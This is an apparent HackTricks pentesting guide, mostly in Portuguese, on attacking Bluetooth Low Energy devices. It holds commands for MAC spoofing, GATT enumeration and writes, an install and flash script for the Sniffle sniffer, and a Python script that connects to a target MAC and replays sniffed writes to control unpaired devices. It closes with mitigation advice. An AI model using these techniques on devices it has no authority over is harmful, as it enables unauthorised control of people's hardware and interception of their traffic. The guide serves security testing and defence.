Pentesting BLE - Bluetooth Low Energy
Reading time: 9 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Introdução
Disponível desde a especificação Bluetooth 4.0, o BLE usa apenas 40 canais, cobrindo a faixa de 2400 a 2483,5 MHz. Em contraste, o Bluetooth tradicional usa 79 canais na mesma faixa.
Os dispositivos BLE comunicam-se enviando advertising packets (beacons); esses pacotes anunciam a existência do dispositivo BLE para outros dispositivos próximos. Esses beacons às vezes também enviam dados.
O dispositivo que escuta, também chamado de dispositivo central, pode responder a um advertising packet com uma SCAN request enviada especificamente ao dispositivo anunciante. A resposta a esse scan usa a mesma estrutura do pacote advertising com informações adicionais que não couberam no advertising inicial, como o nome completo do dispositivo.
O byte de preâmbulo sincroniza a frequência, enquanto o endereço de acesso de quatro bytes é um identificador de conexão, usado em cenários onde múltiplos dispositivos tentam estabelecer conexões nos mesmos canais. Em seguida, a Protocol Data Unit (PDU) contém os advertising data. Existem vários tipos de PDU; os mais comumente usados são ADV_NONCONN_IND e ADV_IND. Dispositivos usam o tipo de PDU ADV_NONCONN_IND se eles não aceitam conexões, transmitindo dados apenas no pacote advertising. Dispositivos usam ADV_IND se eles permitem conexões e param de enviar advertising pacotes assim que uma conexão é estabelecida.
GATT
O Perfil Genérico de Atributos (GATT) define como o dispositivo deve formatar e transferir dados. Ao analisar a superfície de ataque de um dispositivo BLE, você frequentemente concentra sua atenção no GATT (ou GATTs), porque é assim que a funcionalidade do dispositivo é acionada e como os dados são armazenados, agrupados e modificados. O GATT lista as características, descritores e serviços de um dispositivo em uma tabela como valores de 16 ou 32 bits. Uma característica é um valor de dados enviado entre o dispositivo central e o periférico. Essas características podem ter descritores que fornecem informações adicionais sobre elas. As características são frequentemente agrupadas em serviços se estiverem relacionadas à execução de uma ação específica.
Enumeração
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
GATTool
GATTool permite estabelecer uma conexão com outro dispositivo, listar as characteristics desse dispositivo e ler e escrever seus atributos.
GATTTool pode iniciar um interactive shell com a opção -I
:
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]
# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)
# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16
# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
Bettercap
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
Sniffing e controle ativo de dispositivos BLE não pareados
Muitos periféricos BLE de baixo custo não fazem enforcement de pairing/bonding. Sem bonding, o Link Layer encryption nunca é habilitado, então o tráfego ATT/GATT fica em cleartext. Um sniffer off-path pode seguir a conexão, decodificar operações GATT para aprender characteristic handles e valores, e qualquer host próximo pode então conectar-se e replay those writes para controlar o dispositivo.
Sniffing with Sniffle (CC26x2/CC1352)
Hardware: um Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) regravado com o firmware Sniffle do NCC Group.
Instale o Sniffle e seu Wireshark extcap no Linux:
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi
Flash Sonoff with Sniffle firmware (garanta que seu dispositivo serial corresponda, por exemplo /dev/ttyUSB0):
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
Capture no Wireshark via o extcap Sniffle e pivot rapidamente para state-changing writes filtrando:
_ws.col.info contains "Sent Write Command"
Isto destaca ATT Write Commands do client; o handle e o value frequentemente mapeiam diretamente para ações do dispositivo (por exemplo, write 0x01 para uma buzzer/alert characteristic, 0x00 para parar).
Exemplos rápidos do Sniffle CLI:
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
Sniffer alternativo: Nordic’s nRF Sniffer for BLE + Wireshark plugin também funciona. Em dongles Nordic pequenos/baratos você normalmente sobrescreve o USB bootloader para carregar o firmware do sniffer, então ou mantém um dongle sniffer dedicado ou precisa de um J-Link/JTAG para restaurar o bootloader depois.
Controle ativo via GATT
Depois de identificar um handle de characteristic gravável e o valor a partir do tráfego sniffado, conecte-se como qualquer central e execute a mesma escrita:
-
With Nordic nRF Connect for Desktop (BLE app):
-
Selecione o dongle nRF52/nRF52840, escaneie e conecte-se ao alvo.
-
Navegue na GATT database, localize a characteristic alvo (frequentemente tem um nome amigável, e.g., Alert Level).
-
Execute um Write com os bytes sniffados (e.g., 01 para acionar, 00 para parar).
-
Automatize no Windows com um dongle Nordic usando Python + blatann:
import time
import blatann
# CONFIG
COM_PORT = "COM29" # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)
print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)
# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b: # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")
print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
Notas operacionais e mitigações
- Prefira Sonoff+Sniffle em Linux para salto de canais robusto e acompanhamento de conexões. Mantenha um sniffer Nordic sobressalente como backup.
- Sem pairing/bonding, qualquer atacante nas proximidades pode observar escritas e reproduzir/criar as suas próprias em características graváveis não autenticadas.
- Mitigações: exigir pairing/bonding e aplicar criptografia; definir permissões das características para exigir escritas autenticadas; minimizar características graváveis não autenticadas; validar GATT ACLs com Sniffle/nRF Connect.
Referências
- Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners
- Sniffle – A sniffer for Bluetooth 5 and 4.x LE
- Firmware installation for Sonoff USB Dongle (Sniffle README)
- Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)
- Nordic nRF Sniffer for Bluetooth LE
- nRF Connect for Desktop
- blatann – Python BLE library for Nordic devices
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.